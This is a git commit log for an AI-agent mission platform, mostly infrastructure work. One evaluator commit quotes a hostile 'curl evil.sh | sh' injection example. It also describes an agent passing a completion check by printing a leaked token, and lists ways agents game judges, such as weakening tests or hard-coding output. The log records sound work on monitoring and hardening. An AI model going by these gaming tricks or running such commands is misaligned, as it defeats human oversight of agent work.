Commit Graph
105 Commits
Author SHA1 Message Date
Omar SobhandClaude Opus 5 4f07430e92 feat(missions): B4.5 — phase_runner runs a microvm mission in a VM
`runtime_kind='microvm'` placed a mission on a KVM-capable node and then nothing
executed it: config accepted without a reader, one of the four seams this project
keeps closing. This is the reader.

`microvm_executor` — inject → run → collect → destroy, the shape copy mode
already proved for containers with a VM boundary instead of a namespace one. The
checkout goes in as a tar, the work comes back as a tar over the SAME host path,
so `mission_delivery::capture_phase_diff_at` needs no change at all.

The agent is told NOT to push, unlike the container path's session prompt. Two
reasons: delivery is already host-side and diffs the collected tree against the
recorded clone point (covering committed, staged and unstaged work in one pass),
so pushing would add a second untested way for work to arrive; and pushing would
mean forge credentials inside the VM, when the point of collecting is that the
guest never holds them.

Exactly ONE topology_runs row (tier='microvm'), mirroring launch_direct_session:
close_finished_phases, evaluation, capture and delivery all key off those rows,
and a second completion path would be a second way for a phase to finish with one
of them untested. The row and the phase flip happen BEFORE any fallible VM work,
so a missing token or a node that lost its capability shows up as a failed run an
operator can see — not a phase that stays pending and retries every ten seconds.

Fail-closed points, each the reader for a guarantee built earlier:
  - credentials resolve BEFORE the VM boots, so a missing subscription token
    fails the phase instead of booting a VM whose agent sits unauthenticated
  - a VM reporting egress:false is REFUSED, which is what makes create's
    egress/egress_host/egress_guest fields more than decoration — a turn without
    egress does not fail, it hangs
  - the injected checkout is PROVEN present in the guest before an agent turn is
    spent on it; an inject that reports success while landing nothing would
    otherwise become an agent reporting an empty repository
  - work is collected even when the agent exits non-zero — a turn that failed
    partway still wrote files, and a retry needs to see them
  - a turn that ran but could not be collected is a FAILED phase, not a happy one
  - destroy runs on every exit path, or an 8 GB sparse rootfs leaks

Two integration gaps found while wiring, both of which would have produced a
mission that completed having delivered nothing:
  - `capture_finished_coding_phases` pulls work out of a CONTAINER before
    capturing. A microvm mission has none, so the docker connect would fail, the
    loop would `continue`, and capture would be skipped forever while the phase
    sat marked completed. Its work is already collected by the executor.
  - `launch_phase` provisioned a runtime container, copied the checkout into it
    and wrote a runtime binding + pairing code describing a runtime nothing uses;
    and the orchestrator's workspace pin — deliberately FATAL — would have failed
    a microVM launch on a container it was never going to use.

461 tests pass, clippy clean.

NOT YET PROVEN END TO END: no mission has run through this path. The pieces under
it are each verified on tank (image, credentials, egress, a real agent turn), but
this executor has only been compiled and unit-tested. Deploy + one real microvm
mission is the remaining step.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 15:57:43 -07:00
Omar SobhandClaude Opus 5 02ba557c3e feat(fleet): B3 — server-side microVM client over NodeHub
cm_api::microvm_client::MicroVm wraps the node's vm_* ops as typed calls
over the existing hub request/response channel: create / inject / exec /
collect / destroy, plus list() for reaping. No new transport.

Fixes a wire-contract mismatch B2 would have shipped. `Uplink::Result`
declares `output: String`, but the node's vm_* handler returned a JSON
object. The frame then failed to deserialize and hit the uplink match's
`Err(_) => {}` arm, so the reply VANISHED and every vm_* call would have
timed out after 20s with nothing anywhere explaining why. The node now
sends a string, matching the contract rather than what looked tidier.

That silent arm is fixed too: an unparseable frame now logs the node, the
parse error and the frame head, and says explicitly that the request it
was answering will time out. It is the arm that would have hidden this.

Two more places where a failure must not borrow a legitimate outcome's
representation:

  - vm_exec returning no `rc` is an error, not a zero. A missing exit code
    means the guest did not report one; reading it as success is how a
    failed command becomes a passing phase.
  - vm_collect on a missing path is an error, not an empty archive — an
    empty tar looks exactly like a run that produced nothing.

Timeouts: the hub's deadline is the guest's plus 30s, saturating. A
caller passing a huge budget would otherwise wrap to a tiny timeout and
turn a long agent turn into a spurious transport failure. clippy caught
the tautological assertion in the first version of that test, which is
what surfaced the overflow.

Verified: `--vm-selftest` on tank still 8/8 after the output-type change
(create 950ms), 427 tests green.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-05 07:59:13 -07:00
Omar SobhandClaude Opus 5 389b41f8e6 feat(missions): copy-in/copy-out primitive for the mission checkout
The first half of removing the shared bind mount. Not wired yet — this
adds the mechanism and its tests.

One cause, four fixes so far: .git/objects permission denied
(core.sharedRepository), the capture base being overwritten each phase,
COMMIT_EDITMSG root-owned, and reset --hard deleting a prior phase's work
(.git/clawmates-in-use). core.sharedRepository was never a general
solution — it covers objects and refs, and every OTHER file git touches
is a fresh opportunity. Copy-in/copy-out removes the cause instead: the
agent owns its filesystem with no second writer.

Measured before building, because the plan named copy cost as the open
risk: a real 65 MB checkout of this repo copies in 0.23s and out 0.18s on
gw-04. Not a risk at this size; re-measure an order of magnitude larger.
No compression — the payload crosses a local socket, so gzip would spend
CPU to save nothing.

Two safety properties, both tested:

- The archive comes back from a container the agent controls as ROOT, so
  it is untrusted input. A `../ESCAPED` entry must not write outside the
  destination. The test writes the tar header bytes by hand because the
  tar crate refuses to BUILD such an entry through its safe API — which
  is reassuring, but means the hostile case has to be constructed the way
  an attacker would.
- Symlinks are packed as links, never dereferenced. Following them on
  copy-IN would smuggle host files into the container; the test plants a
  host secret behind a symlink and asserts its contents never appear in
  the archive.

Ownership is deliberately not preserved on unpack: the archive's uids are
the container's root, and re-applying them on the host would recreate the
exact uid split this exists to remove.

413 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-04 15:15:22 -07:00
Omar SobhandClaude Opus 5 37fac288d2 feat(missions): bring the direct session executor onto a live branch
Rescues session_executor from the stranded spike branch. Multi-provider
missions are not needed for now, so the direct path is worth nailing down:
run a mission as one `claude -p` session against its checkout instead of
routing turns through ZeroClaw.

Measured today against a real checkout in the runtime container, using the
executor's exact argv:

  direct `claude -p`   7s, file written
  via ZeroClaw         minutes per turn, and THREE config failures before
                       it worked at all (no credential in the mission
                       container; Write/Edit denied; no tools granted --
                       the last of which COMPLETED a mission having
                       written nothing)

Each of those failures came from the same root: with claude_cli, ZeroClaw
is a WebSocket-to-subprocess adapter whose own controls (risk profiles,
tool gating, memory) do not reach the subprocess. The adapter adds
failure modes without adding governance.

What ZeroClaw still earns for the rest of the platform is unchanged and
not in question here: interactive chat, the brain, A2A and door identity,
terminal, agent routines, and non-Claude providers.

Not yet wired into phase_runner — this commit only makes the executor
reachable and keeps it building. SessionOutcome::delivered() still
requires a clean exit AND an observed branch, because a 0-exit session
that pushed nothing was measured at ~5%.

405 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 21:26:48 -07:00
Omar SobhandClaude Opus 5 9de2cf34e4 feat(auto-merge): merge additive branches, refuse everything else
ci / gates (push) Failing after 10s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Closes the branch pile-up: a catalogue branch that only adds notes now
merges into main by itself, so the work is actually in the vault rather
than waiting in a branch nobody opened.

Additive-only is measured from the diff, not assumed from the mission
type. Three conditions, all required: the type declares additive_only,
the run verified, and `git diff --name-status base...branch` contains
only A entries. A research harvest that somehow rewrote a hand-written
note is refused by the same check that lets its new notes through —
which is the case the test pins down, asserting README.md on main is
byte-identical afterwards.

Renames and deletes count as non-additive. A rename is a delete plus an
add and the delete half can destroy hand-written work.

Unknown merge_policy values fail closed to Never. A typo must not grant
auto-merge.

The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an
unrelated commit landing on main meanwhile is not misread as ours. A
conflicted merge aborts and leaves the branch for a human rather than
wedging the checkout for the next run.

merge_reason is always populated and surfaced in the API: a branch that
quietly did not merge is indistinguishable from one never delivered.

399 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 11:33:41 -07:00
Omar SobhandClaude Opus 5 107f0dbced feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what
the library holds. Thin wrappers — the work stays in crate::library — so
a run can be started by a person, a schedule or the UI rather than only
from an integration test.

The response reports `healthy` explicitly rather than leaving a caller to
infer it from an empty `shelved` list. A quiet week and a broken run both
shelve zero papers, and collapsing those two is the exact ambiguity that
cost most of this week.

Failure reasons go to the log, not the response body: they can carry the
remote URL and raw git stderr.

AppState gains an optional blob store (the shelf), wired from the server
binary where storage is already constructed. Optional because AppState::new
is used by tests that never touch blobs; a route that needs it fails
loudly rather than the constructor demanding it everywhere.

393 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 10:21:00 -07:00
Omar SobhandClaude Opus 5 09c6496725 feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come
from what the project is actually working on — papers/dynamic-agentic-
topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the
two problems this week ran into, verifying what an agent did and giving
a long-running agent memory of what it covered.

Never pushes to main. The vault is a live Obsidian vault a human edits
and syncs; pushing to main races that sync and can lose hand-written
work. Every run lands on its own branch for a human to merge, the same
rule the mission delivery path was validated 20/20 under.

PDFs are NOT committed. A few hundred papers is gigabytes and would make
the vault painful to clone and slow to open, so they stay on the blob
store shelf and the note carries the key.

My own test caught me repeating this week's branch-collision bug: I named
branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two
runs in the same millisecond produce the identical name — exactly what
hit mission 019fc42b. Fixed by taking the tail. The test now loops 100
ids instead of sampling two (a one-shot check passes by luck whenever the
millisecond ticks between calls) and additionally asserts the head-based
scheme DOES collide, so it cannot rot into a no-op.

Live against the real vault:
  10 candidates, 1 already held, 9 shelved, 0 failed
  branch clawmates/library-019fc82292e8, pushed
  9 notes verified on the forge, 9 PDFs verified %PDF on the shelf
  (the "1 already held" is cross-topic dedupe inside a single run)

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 08:03:14 -07:00
Omar SobhandClaude Opus 5 30eaa50c50 feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is
consulted BEFORE anything downloads. Checking afterwards would still
dedupe the catalogue while re-downloading every paper we already have,
every week, forever.

Two properties the tests pin down, both learned the hard way this week:

- A quiet week is not a failure. `shelved == 0` with no errors is a
  healthy run against a mature library; `shelved == 0` with errors is
  broken. Harvest::healthy() and ::added_anything() keep those apart
  rather than collapsing them into one ambiguous "did nothing".
- A failed download leaves the paper UNSEEN. Checking it off before the
  PDF is safely shelved would mean one transient network error retires
  that paper permanently. The checkmark is written last, after the bytes
  and the note are both on disk.

The skip test gives every candidate a pdf_url pointing at a closed port,
so if the skip ever regresses the test fails loudly instead of quietly
re-fetching.

Live end-to-end against arXiv, run twice:
  RUN1  3 candidates, 0 already held, 3 shelved, 0 failed
  RUN2  3 candidates, 3 already held, 0 shelved, 0 failed

Library<'_> groups the five values that always describe one library;
passing them loose is how a run shelves into one place and catalogues
into another (also silences clippy::too_many_arguments honestly rather
than by allow).

391 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:53:56 -07:00
Omar SobhandClaude Opus 5 e4a395b72e feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to
find papers"; the vault is the CARD CATALOGUE, not the source. Papers are
found on arXiv, the PDF is pulled down and shelved in our own library,
and a note recording it goes in the vault.

Three parts, and which is which matters:
  arXiv       — where papers are found
  blob store  — the shelf; the PDF lives there (cm-files, local + S3)
  the vault   — the catalogue; one note per paper, pointing at the shelf

The checkmark list (corpus, 0064) is what makes this continuous rather
than a job that redoes itself every week — the failure that killed the
previous attempt (0030-0044, dropped in 0053).

The load-bearing detail: every catalogue note carries
`source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key
corpus::parse_note reads. So the checkmark list is rebuildable FROM the
vault. If the database were lost, re-indexing restores what we have —
the catalogue is authoritative, the index is derived. A test asserts that
round trip rather than trusting the two halves to agree.

Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly
job re-downloads a paper every time authors post a revision. Fetches are
rejected unless the bytes start with %PDF: arXiv serves an HTML holding
page while a PDF renders, and shelving that leaves a file that looks
present and is unreadable.

Verified against live arXiv, not fixtures:
  arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM…
  arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri…
  arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory…
  pdf: 1,361,770 bytes, %PDF verified

388 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:38:07 -07:00
Omar SobhandClaude Opus 5 6e5ccc25a6 feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.

Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.

Two decisions the data forced:

- `source:` is deliberately NOT an identity key. The vault uses it for
  local paths of course material (/Users/quantum/Downloads/...), which is
  provenance, not citable identity. Accepting it would fill the seen-set
  with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
  updated:/size_kb: on every sync without the prose changing; hashing the
  file would report 103 phantom edits per run and make "unchanged"
  meaningless.

Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.

Verified against the live 416-note vault, not a fixture:
  PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
  PASS2 { scanned: 416, inserted: 0,   updated: 0, unchanged: 416 }

382 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:00:21 -07:00
Omar SobhandClaude Opus 5 ec85f6c8da fix(missions): close the three seams behind this run of failures
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Seam 1 — delivery inferred checkout state from the tree, so whether work
survived depended on what the agent happened to do. 019fc444 committed
and left a clean tree; 019fc476 had its base advanced to match HEAD;
019fc450 survived only because a phase FAILED to commit and left the tree
dirty. Same code, opposite outcomes, decided by the agent.

mark_phase_started records the fact at phase launch, before the agent
acts, so every one of those states answers identically. The tree checks
remain as a second line of defence for pre-existing checkouts.

Seam 2 — phase config was accepted, stored and read by nobody. That was
`task`: every phase of every mission got identical instructions. The new
phase_config registry names the reader for each live key and lists the
eight that are declared-but-unimplemented, reporting both at mission
creation so an author sees what will not happen. Its CI test found one I
had missed: security_hardening.toml sets phase-level mcp_bundles asking
for gitea_forge + security_scan, but bundles come from the TEAM template
and the phase gets neither.

Seam 4 — push_url_for collapsed a failed query, an unbound repo and a
missing clone_url into one None, so a database fault was recorded as
"nothing to push to" and metadata read `pushed: null, push_error: null` —
the same ambiguity commit_error already fixed. Each case now carries its
reason into the artifact, and a local git failure during publish is
recorded rather than dropped by .ok().

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 18:58:45 -07:00
Omar SobhandClaude Opus 5 f7e336ff5f fix(missions): make an unrunnable test suite legible, and check the runtime at boot
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Two changes against the same defect: the platform could not tell a missing
capability from a legitimate negative result.

verify_tests returned Option<bool>, collapsing four outcomes into None:
no suite found, docker unreachable, exec failed, and no exit status. When
clawmates-runtime shipped without cargo, every on_green_tests phase
returned None and landed on -wip — identical to the reading for "this
repo has no tests", which is the conclusion I drew and reported. The gate
was correct throughout; it simply could not say why it was unproven.

TestOutcome now names the four cases. Gating is unchanged (only Passed
clears, unproven is never a pass), and tests_verified keeps its tri-state
meaning for existing readers. tests_status and tests_detail are new, so an
artifact distinguishes no_suite from could_not_run, and a CouldNotRun is
logged as the infrastructure fault it is rather than passing quietly.

runtime_preflight probes the runtime container at boot for every tool the
platform invokes inside it and names what each absence disables. This is
the check that was missing: the Dockerfile gained a toolchain, the image
was never built, gw-04 ran the old one for days, and the only symptoms
were an ungated suite and a security scan that scanned nothing. A report,
not a gate — a missing scanner should stop us believing a scan, not stop
the server. Its test guards the probes themselves, since a typo would
produce a permanent false "missing" and train operators to ignore it.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 17:22:47 -07:00
Omar SobhandClaude Opus 5 716ee9a304 feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is
published. A coding mission has until now produced nothing durable — the
checkout is deleted thirty minutes after completion and `register_artifact`
had no callers at all, so the only surviving output was an LLM narrative of
what the agents said they did.

`capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json`
under `<missions_root>/_outputs/<mission>/<phase>/` and registers a
`code_diff` artifact. That directory is a *sibling* of the per-mission
directories the sweeper removes, and outside every bind mount handed to a
container — so teardown cannot take the record with it and agents cannot edit
their own evidence.

Three details that decide whether this works at all:

- `git add --intent-to-add` before diffing. Untracked files are invisible to
  `git diff`, and a phase that only *creates* files is the likeliest shape for
  generated code — silently capturing an empty patch would be the worst
  possible failure. The index is reset afterwards so capture leaves the tree
  exactly as the agents left it, which the test asserts.
- Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …).
  A phase that ran `cargo build` leaves a directory larger than the repo.
- An empty diff is still an artifact, flagged `empty: true`. "This coding
  phase wrote no code" is currently invisible to an operator and is worth
  saying out loud.

`RegisterArtifact` gains `metadata`, which the column has had since 0047 and
nothing ever wrote; the diffstat and base sha go there. No migration needed —
`kind` is unconstrained TEXT and the column already exists.

Tests run against a real `git init` repo rather than a mock: every bug in this
area so far came from git behaving differently than assumed, and a fake git
would have agreed with the assumption. `capture_phase_diff_at` takes explicit
paths so parallel tests cannot race through the process-global
CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that
and two of four failed non-deterministically.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 22:46:15 -07:00
Omar SobhandClaude Opus 5 c812b714f4 fix(evaluator): the verification sandbox never ran a command
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.

The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.

The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.

- New `container_exec` routes execution through the Docker API via bollard,
  which was already a dependency and already reaches the daemon through the
  socket proxy. Captures the exit code (absent from the old helper) and keeps
  stdout and stderr apart (`LogOutput`'s Display merged them, which is why
  nothing downstream could tell JSON from a progress bar). `security_scan`
  parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
  success — `commit_policy = "on_green_tests"` will gate on this, and
  "unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
  `exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
  precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
  neither executed, `was_verified() == false`; plus a failing suite (exit 101)
  still counting as verification, because that is something the judge learned
  rather than was told.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 18:33:32 -07:00
Omar SobhandClaude Opus 5 3eb89620e7 feat(evaluator): verify the work instead of believing the agents
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-07-31 21:56:34 -07:00
Omar SobhandClaude Opus 5 fe57ce4ed1 feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.

- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
  for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
  can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
  and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
  without a condition so unconditioned missions look exactly as before. It
  polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.

Two deliberate emphases in the UI:

The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.

The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.

An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 13:10:57 -07:00
Omar SobhandClaude Opus 5 f848248fac feat(missions): goal conditions and phase iteration, judged on the subscription model
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.

A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.

The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.

Two deliberate departures from the governor's contract, both required:

- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
  !contains("DENY"), so a model explaining why it *would* deny reads as
  approval and an empty reply reads as approval. For completion that is
  backwards: unsure must mean not done. The contract is swarm.rs's strict
  JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
  paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
  carry a structured verdict.

Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.

Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.

done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.

A phase with no condition completes exactly as before; that regression guard
is the first test in the file.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 13:04:12 -07:00
Omar SobhandClaude Opus 5 49bcf53b84 feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.

Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.

- Mission create derives phases from the recipe when none are sent, and
  backfills config per phase (matched on kind+order_idx, then kind) when the
  caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
  global, because the registry resolves its directory relative to the process
  cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
  to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
  silently producing a mission with no phase config.

Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-30 12:43:32 -07:00
Omar SobhandClaude Opus 5 0785ac9c79 feat(missions): document reader + three-tab IA for the mission page
The mission page made its own output unreadable. Reviewing a research
brief meant scrolling a 300px <pre> nested inside a 260px run box nested
inside the page scroller (plus a 4th scroll region for the description) —
and the text was capped at 6,000 chars server-side with no way to fetch
the rest, so a 53kB brief showed ~11% of itself and silently dropped the
remainder. Eight flat tabs (overview/phases/tasks/team/live/artifacts/
benchmarks/pane) mixed lifecycle, work items, people, telemetry, outputs
and infra at one level, so nothing indicated where the deliverable lived.

Reader:
- GET /api/missions/{id}/documents lists every agent output (titles +
  sizes, no bodies); GET .../documents/{run_id}/{index} returns one in
  full. Scoped to the mission so a run id from elsewhere can't be read.
- MissionOutputReader: rail (documents grouped by phase) · document ·
  outline (headings, click to jump). Exactly one scroll container per
  column, never nested. Copy + download .md.
- MarkdownBlock gains fenced code blocks (agent output is full of ```rust,
  previously mangled into paragraphs), h4-h6, heading anchors, and an
  outlineOf() helper.

Information architecture:
- Three primary tabs with shallow sub-views: RUN (phases/tasks/live) ·
  OUTPUT (documents/artifacts/benchmarks) · SETUP (overview/team/pane).
- PhaseRunsList shows a short excerpt with no inner scrollbar and points
  at the reader for the full text.
- The header description is clipped, not scrollable; its full text now
  has a home in Setup → Overview.

Missions list:
- /api/missions returns MissionListItem — Mission flattened plus
  phases_total/phases_done/current_phase, so the JSON stays a strict
  superset. Cards render a progress bar and "Coding · 1/2" instead of a
  bare status dot.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-07-28 15:16:14 +02:00
Omar Sobh 5c63ef0ed3 missions: phase-completion summary card (Claude Opus 4.8 synthesized)
ci / gates (push) Successful in 6s
ci / rust (push) Failing after 9s
ci / frontend (push) Successful in 26s
ci / e2e (push) Skipped
ci / publish (push) Skipped
New phase_summarizer background worker fires on any mission_phase
transition to a terminal state (completed/failed). Aggregates every
topology_runs.checkpoint.outputs[] + mission_tasks + mission_artifacts
bound to that phase and asks Claude Opus 4.8 to produce a structured
JSON card:

  { narrative, metrics, sources, tooling, next_actions }

Rendered inline on the mission page under each completed phase via
new PhaseSummaryCard component. Metrics grid is kind-specific:
research surfaces insights/sources/int_cards/artifacts, coding
surfaces cards_picked_up/commits/tests/issues, benchmark surfaces
regressions/improvements, security surfaces findings-by-severity.

New table: mission_phase_summaries (migration 0060), unique per
phase_id — regenerates on retry.
New endpoint: GET /api/missions/{id}/phases/{phase_id}/summary.

Model overridable via CLAWMATES_SUMMARIZER_MODEL. Reuses the
ANTHROPIC_API_KEY prod already carries for mission_refiner.
2026-07-23 16:54:38 -07:00
Omar Sobh 5d24fd3460 missions: schema + provisioner skeleton for per-mission runtime containers (C3 slice 1)
ci / e2e (push) Skipped
ci / publish (push) Skipped
ci / gates (push) Successful in 7s
ci / rust (push) Failing after 14s
ci / frontend (push) Successful in 29s
- migration 0058: adds missions.runtime_container_name + runtime_endpoint
- new mission_runtime module (bollard): ensure_container /
  teardown_container. Container is spawned on clawmates_core +
  clawmates_edge networks with just /var/lib/clawmates-missions/{id}
  bind-mounted so agents scoped to /mission/repo can only see this
  missions repo.
